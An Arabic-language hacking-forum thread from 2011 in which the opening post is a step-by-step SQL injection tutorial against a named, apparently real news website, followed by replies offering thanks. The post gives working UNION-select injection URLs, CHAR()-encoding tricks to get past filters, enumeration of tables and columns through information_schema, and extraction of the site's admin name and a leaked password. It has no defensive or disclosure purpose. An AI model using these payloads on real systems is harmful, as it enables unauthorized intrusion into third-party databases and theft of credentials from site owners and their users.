التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. الـقرصـنـة والأختراق ~ The Hidden World Of Hackers .:: ] > SQL قواعد البيانات

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 03-16-2011, 10:34 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
الصورة الرمزية khiero
 

 

 
إحصائية العضو





khiero غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
khiero is on a distinguished road

افتراضي تخطي عدم ظهور الاعمدة في الحقن




كيفكم اخواني الافاضل

اليوم معانا درس بسيط
ومفهوم ومهم

في بعض الاحيان يوقف الشخص عن العمل

لكن بعد اطلاعك على درس اليوم

لن تجد صعوبة باذن الله

مثلا معانا هذا الموقع

http://www.teaminsightmag.com/news.php?id=286 order by 15

لن تجد له خطأ
فعلينا اضافة


كود PHP:
 بعد المتغير اي الرقم 286  علامة '

وبعد الرابط  23%    وهى تعنى +--+  مشفرة 


الموقع الخاص اللي يشفر لنا الكلمات

http://www.waraxe.us/sql-char-encoder.html

شوفو النتيجة بدأت تظهر :surprised:



المهم الخطأ يختفي عند الرقم 11
والاستغلال يكون

http://www.teaminsightmag.com/news.p...7,8,9,10,11%23



ويصير هكذا لكن لم تظهر معانا الاعمدة ههههههههههه:gasp:
نضيف علامة - بعد علامة =

http://www.teaminsightmag.com/news.php?id=-286'+union+select+1,2,3,4,5,6,7,8,9,10,11%23

ظهرت معانا الاعمدة المصابة



ثم نضيف في العمود المصاب اي في مكان الرقم 3
group_concat(table_name)

و في اخر السطر
+from+information_schema.tables



وظهرت معانا

advertisers
articles
comments
events
manager_navigation
news_headlines
settings
sites
survey_answers
sur

طب واحد يقلى انا هاعرف فين الجدول الى هاشتغل علية من كل دول

اقول ناخد واحد واحد ونضيفة بعد +from+ ونجرب

+from+

واذا لم تفلح فلابد عليك انك تشفر الكلمات
مثلا نأخذ كلمة


advertisers تشفيرها يكون =

CONCAT(CHAR(97),CHAR(100),CHAR(118),CHAR(101),CHAR (114),CHAR(116),CHAR(105),CHAR(115),CHAR(101),CHAR (114),CHAR(115))

وهذه نضعها في مكان الرقم 3
group_concat(table_name,0x3e,column_name)

وهذه في اخر الرابط
+from+information_schema.columns+where+table_name+ like+
ونظيف لها الكلمة المشفرة

ويصير الرابط هكذا

http://www.teaminsightmag.com/news.php?id=-286%27+union+select+1,2,group_concat%28table_name, 0x3e,column_name%29,4,5,6,7,8,9,10,11++from+inform ation_schema.columns+where+table_name+like+CONCAT% 28CHAR%2897%29,CHAR%28100%29,CHAR%28118%29,CHAR%28 101%29,CHAR%28114%29,CHAR%28116%29,CHAR%28105%29,C HAR%28115%29,CHAR%28101%29,CHAR%28114%29,CHAR%2811 5%29%29%23



ظهر معانا



advertisers>id
advertisers>name
advertisers>url
advertisers>phone
advertisers>status
advertisers>site
advertisers>type


ونشوف كلمة name
ملاحظة دائما نعيد للوراء
ونضع كلمة name في مكان الرقم 3
و
+from+advertisers
في آخر الصفحة
وتصير الصفحة

http://www.teaminsightmag.com/news.p...advertisers%23



ظهر معانا اسم الادمن ههههههههههههه نكمل ولا لالالالالالالالالالالا

نجرب الطريقة العادية فى الحقن ونظهر الباس

concat(column_name,0x3e,table_schema,0x3e,table_na me)
+from+information_schema.columns+where+column_name +like+char(37, 112, 97, 115, 115, 37)%23

ظهر جدول مختلف

http://www.teaminsightmag.com/news.p...15,%2037%29%23

نغير الجدول ونجرب ونشوف

http://www.teaminsightmag.com/news.p...+from+users%23

الباس طلع وهو sdfasdasd






هههههه لا تنسى .... التقييم





jo'd u]l /i,v hghul]m td hgprk

   

رد مع اقتباس
قديم 03-17-2011, 12:23 AM   رقم المشاركة : 2 (permalink)
معلومات العضو
 
الصورة الرمزية inox team
 

 

 
إحصائية العضو







inox team غير متواجد حالياً

إرسال رسالة عبر MSN إلى inox team إرسال رسالة عبر Skype إلى inox team

 

 

إحصائية الترشيح

عدد النقاط : 10
inox team is on a distinguished road

افتراضي


تقبل مروري يا اخي والله مشكورررررر بطل

   

رد مع اقتباس
قديم 03-17-2011, 11:41 AM   رقم المشاركة : 3 (permalink)
معلومات العضو
 
الصورة الرمزية khiero
 

 

 
إحصائية العضو





khiero غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
khiero is on a distinguished road

افتراضي


و لو يا صديقي هذا واجبنا و لو قدرت ابسط اكثر من كدى لقمت بذلك لعيون العناكب
و اشكرك اخي على المرور

   

رد مع اقتباس
قديم 03-17-2011, 07:55 PM   رقم المشاركة : 4 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


سلمت ايدك ما قصرت

واحلى __++___

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 03-18-2011, 01:42 PM   رقم المشاركة : 5 (permalink)
معلومات العضو
ViRuS Qalaa
iraQi HackerS
 
الصورة الرمزية ViRuS Qalaa
 

 

 
إحصائية العضو







ViRuS Qalaa غير متواجد حالياً

إرسال رسالة عبر MSN إلى ViRuS Qalaa

 

 

إحصائية الترشيح

عدد النقاط : 10
ViRuS Qalaa is on a distinguished road

افتراضي


ابداع حبيبي ...
بارك الله فيك


التوقيع

12 My Twelve Imams


Good Bye VbSpiders
I'll Back
Si
gn Out

 

   

رد مع اقتباس
قديم 03-18-2011, 09:25 PM   رقم المشاركة : 6 (permalink)
معلومات العضو
 
الصورة الرمزية k4$p3r-MA
 

 

 
إحصائية العضو








k4$p3r-MA غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
k4$p3r-MA is on a distinguished road

افتراضي


بارك الله فيك مبدع

التوقيع

http://www.cafe-hbal.com/up/uploads/13369618701.gif

دعواتكم معنا بالنجاح و لجميع المسلمين
Yes I we will bE BaCk 2013

 

   

رد مع اقتباس
قديم 03-18-2011, 11:43 PM   رقم المشاركة : 7 (permalink)
معلومات العضو
 
الصورة الرمزية VIURIS.SA
 

 

 
إحصائية العضو






VIURIS.SA غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
VIURIS.SA is on a distinguished road

افتراضي


الله يجزاك خير ويبارك فيك أخي
تقبل مروري وتم التقييم

التوقيع

 

   

رد مع اقتباس
قديم 03-19-2011, 01:11 AM   رقم المشاركة : 8 (permalink)
معلومات العضو
 
الصورة الرمزية khiero
 

 

 
إحصائية العضو





khiero غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
khiero is on a distinguished road

افتراضي


الله يخليكم اخواني على المرور الطيب

   

رد مع اقتباس
قديم 03-20-2011, 01:48 PM   رقم المشاركة : 9 (permalink)
معلومات العضو
 
إحصائية العضو







المخترق الصغير غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
المخترق الصغير is on a distinguished road

افتراضي


ابداع حبيبي ...
بارك الله فيك

   

رد مع اقتباس
قديم 03-22-2011, 02:44 PM   رقم المشاركة : 10 (permalink)
معلومات العضو
 
الصورة الرمزية c--2
 

 

 
إحصائية العضو






c--2 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
c--2 is on a distinguished road

افتراضي


مشكوووووووووووووووووووووررررر اخي شرح رائع
:-):bad:

   

رد مع اقتباس
قديم 09-17-2011, 05:05 AM   رقم المشاركة : 11 (permalink)
معلومات العضو
 
الصورة الرمزية albop
 

 

 
إحصائية العضو





albop غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
albop is on a distinguished road

افتراضي رد: تخطي عدم ظهور الاعمدة في الحقن


مشكور شرح ولا اروع
بالتوفيق

   

رد مع اقتباس
قديم 10-25-2011, 06:50 PM   رقم المشاركة : 12 (permalink)
معلومات العضو
 
إحصائية العضو






يحيى زكريا غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
يحيى زكريا is on a distinguished road

افتراضي رد: تخطي عدم ظهور الاعمدة في الحقن


باراك الله فيك اخي
لك مني اجمل تحية

   

رد مع اقتباس
قديم 10-25-2011, 06:55 PM   رقم المشاركة : 13 (permalink)
معلومات العضو
 
إحصائية العضو






يحيى زكريا غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
يحيى زكريا is on a distinguished road

افتراضي رد: تخطي عدم ظهور الاعمدة في الحقن


باراك الله فيك اخي
لك مني اجمل تحية

   

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع


الساعة الآن 02:47 AM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0